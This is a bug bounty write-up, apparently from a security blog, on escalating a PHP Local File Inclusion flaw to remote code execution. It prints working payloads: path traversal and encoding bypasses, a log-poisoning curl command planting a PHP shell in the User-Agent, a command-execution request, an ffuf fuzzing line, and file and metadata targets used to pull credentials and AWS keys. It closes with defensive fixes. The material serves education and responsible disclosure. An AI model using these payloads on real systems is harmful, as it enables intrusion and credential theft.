How Hacker an LFI into a $5,000 Payday (And How You Can Too)

How Hacker an LFI into a $5,000 Payday (And How You Can Too)

November 3, 2025 6 min read

Learn how a researcher turned a Local File Inclusion bug into Remote Code Execution and earned $5,000 - a deep breakdown of payloads, bypasses, and real-world tactics.




Disclaimer:
This write-up is inspired by a real-world bug bounty finding, rewritten purely for educational and awareness purposes.
The goal is to teach ethical hackers and developers how Local File Inclusion (LFI) vulnerabilities occur, how they escalate, and - most importantly - how to prevent them.


🔥 Introduction: When Curiosity Pays $5,000

Every bug bounty hunter dreams of that one big find - the moment when everything clicks, the payload works, and your report gets that sweet “Critical” tag.

For Aman Sharma, that moment came when a simple Local File Inclusion (LFI) bug snowballed into a Remote Code Execution (RCE) chain, netting him $5,000.

This post walks you through his mindset, process, and techniques - not as a “hack guide,” but as a security analysis showing exactly why LFI remains one of the most underrated yet powerful vulnerabilities in web security.


🧠 What Makes LFI a Goldmine

Local File Inclusion (LFI) allows attackers to make the server include or read files it shouldn’t - such as system files, configuration data, or logs.

While it may look simple, LFI is a gateway vulnerability - it opens doors to much larger exploits:

  • Sensitive information leaks (/etc/passwd, .env, config.php)
  • Log poisoning → RCE
  • PHP wrappers → source code disclosure
  • Server-side misconfigurations → privilege escalation

Aman’s story is the perfect example of this chain reaction.


🧩 Step 1: Finding the Classic LFI

The vulnerable code snippet he found looked innocent enough:

<?php  
  $page = $_GET['file'];  
  include("/templates/" . $page . ".php");  
?>
PHP

At first glance, nothing suspicious - but there’s no input validation.
That means the file parameter is directly concatenated into the path.

Aman started testing payloads manually:

GET /index.php?file=../../../../etc/passwd
HTTP

Success!
The server returned the classic /etc/passwd content - a clear LFI indicator.

He then tried encoded payloads to evade filters:

?file=%252e%252e%252fetc%252fpasswd
HTTP

✅ Pro Tip: Use Burp Suite Decoder to try double or triple URL encodings.
Some weak filters only decode once, allowing bypasses through over-encoding.

And for Windows targets:

?file=..\..\windows\win.ini
HTTP

By rotating payloads systematically, he confirmed the LFI worked across multiple paths.

A terminal screenshot-style mockup demonstrating a Local File Inclusion (LFI) payload successfully accessing and displaying the contents of '/etc/passwd'.


🧨 Step 2: Log Poisoning - From Read to Execute

This is where things get spicy.

If you can read log files, you can execute code. How? By poisoning them.

Every request made to a server gets logged somewhere - often in /var/log/apache2/access.log or /var/log/nginx/access.log.
If Aman could inject PHP code into that log and then include it through LFI, he could execute commands on the server.

🧪 Step 1: Poison the Logs

He sent a crafted HTTP request with malicious PHP in the User-Agent header:

curl -H "User-Agent: <?php system($_GET['cmd']); ?>" http://target.com/
Bash

That line injected his PHP payload into the access log file.

🧪 Step 2: Execute It Through LFI

Now that the log file contained executable PHP code, he accessed it via LFI:

?file=/var/log/apache2/access.log&cmd=id
HTTP

And boom - the server responded with:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Plain text

He now had command execution - full RCE via LFI.

💰 Bounty Earned: $3,000 for the RCE proof-of-concept alone.

An illustration depicting log injection transforming into remote code execution, visually showing a seemingly innocuous log file morphing into malicious PHP code as it's processed.


🧩 Step 3: Filter Bypass Tactics

Not all developers leave the door wide open. Some try to sanitize inputs.

Here’s how Aman bypassed them:

🚧 Null Byte Trick

Some backends automatically append .php to the input:

?file=../../etc/passwd%00
HTTP

The %00 (null byte) truncates the .php, effectively ending the string early.

🚧 Overflow / Path Confusion

?file=....//....//etc/passwd
HTTP

The double traversal confuses weak sanitizers by disrupting normalization.

🚧 OS Confusion

If developers block ../ but not ..\, switching between Linux and Windows-style paths works wonders.


⚙️ Step 4: Automation with ffuf

Manually testing hundreds of parameters is inefficient - automation bridges that gap.

Aman used ffuf to brute-force potential LFI parameters quickly:

ffuf -w param-list.txt -u "http://target.com?FUZZ=../../etc/passwd" -fs 0
Bash

The command discovered a hidden parameter:

FUZZ → lang
Plain text

That single find - ?lang=../../../../etc/passwd - was the key to identifying a second vulnerable endpoint.

Automation doesn’t replace creativity - it amplifies it.

A diagram illustrating ffuf (Fuzz Faster U Fool) scanning various URLs for vulnerable parameters, with green hit markers indicating successful findings.


🔍 Step 5: Going Beyond /etc/passwd

Once he had consistent file read access, Aman expanded his scope:

Target Purpose Result
/etc/passwd Basic file access test Successful
.env Environment variables (database credentials) Found DB creds
php://filter/convert.base64-encode/resource=index.php Source code disclosure Revealed sensitive logic
/proc/self/cgroup Docker check Confirmed containerization
http://169.254.169.254/latest/user-data Cloud metadata Confirmed AWS environment

Each discovery increased impact - and with it, the bounty.

By chaining .env leaks with cloud metadata, Aman retrieved valid AWS keys - earning another $2,000 on top.

An infographic-style chart highlighting common Local File Inclusion (LFI) targets beyond '/etc/passwd', such as .env files, php://filter wrappers, and cloud metadata URLs.


🔦 Step 6: Detecting Blind LFI

Some LFIs don’t show direct output - a tricky scenario known as blind LFI.

To confirm such cases, Aman used timing and behavioral analysis:

Time-based Payloads

?file=/dev/urandom
HTTP

If the server response lagged noticeably, it indicated file inclusion.

Error-triggering Payloads

?file=\\?\C:\nonexistent\file.txt
HTTP

Useful for Windows targets - forces visible error behavior.

He combined this with Out-of-Band (OOB) techniques using DNS or HTTP callbacks for stealth confirmation.


🧩 Step 7: Debug Flags and Hidden Modes

Many applications include developer-only parameters like debug, dev, or test_mode.
These often disable sanitization filters when active.

Aman found gems like:

?file=../../etc/passwd&debug=true
HTTP

and

?file=index&dev=1
HTTP

In one case, a partner application on a major e-commerce platform exposed an unfiltered LFI when ?dev=1 was set - a simple query parameter triggered unrestricted file access.


💡 Key Lessons & Takeaways

# Insight Why It Matters
1 Start simple Basic tests like /etc/passwd reveal 80% of LFIs
2 Escalate logically Go from file read → log inclusion → RCE
3 Automate smartly Tools like ffuf accelerate discovery, not analysis
4 Think laterally Test for .env, Docker, and cloud metadata
5 Stay ethical Never exploit beyond proof-of-concept; report responsibly

Persistence and pattern recognition matter more than complex payloads.
Aman’s biggest wins came from trying the basics consistently - not reinventing the wheel.


🧰 Developer’s Defensive Guide

To prevent LFI and RCE through file inclusion flaws:

<?php
  // ✅ Secure approach
  $whitelist = ['home', 'about', 'contact'];
  $page = $_GET['file'] ?? 'home';
  if (!in_array($page, $whitelist)) {
      die('Access denied.');
  }
  include("/templates/" . basename($page) . ".php");
?>
PHP

Defensive Checklist:

Category Secure Practice
Input Handling Use whitelists, not blacklists
File Paths Sanitize with basename() or regex
Server Logs Restrict read permissions on /var/log
Debug Flags Disable in production
PHP Config Disable allow_url_include and allow_url_fopen

A code editor visualization demonstrating secure PHP include implementation using a whitelist approach to prevent Local File Inclusion vulnerabilities.


🧠 Final Thoughts: From Curiosity to Consistency

Aman’s journey from reading about LFIs to earning $5,000 wasn’t luck - it was discipline.

He didn’t just fire payloads randomly; he followed the clues, escalated step-by-step, and thought like both a developer and an attacker.

That’s the art of ethical hacking - turning curiosity into mastery.

The next time you face a dead-end, remember:
The bug might already be in front of you - you just haven’t looked at it the right way yet.

Cybersecurity motivational art with a neon hacker aesthetic, displaying the phrase: 'Stay Curious. Stay Ethical. Stay Rewarded.'


References


Published on herish.me - turning real bug bounty stories into practical cybersecurity lessons.

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts

For any queries or professional discussions: herish.chaniyara@gmail.com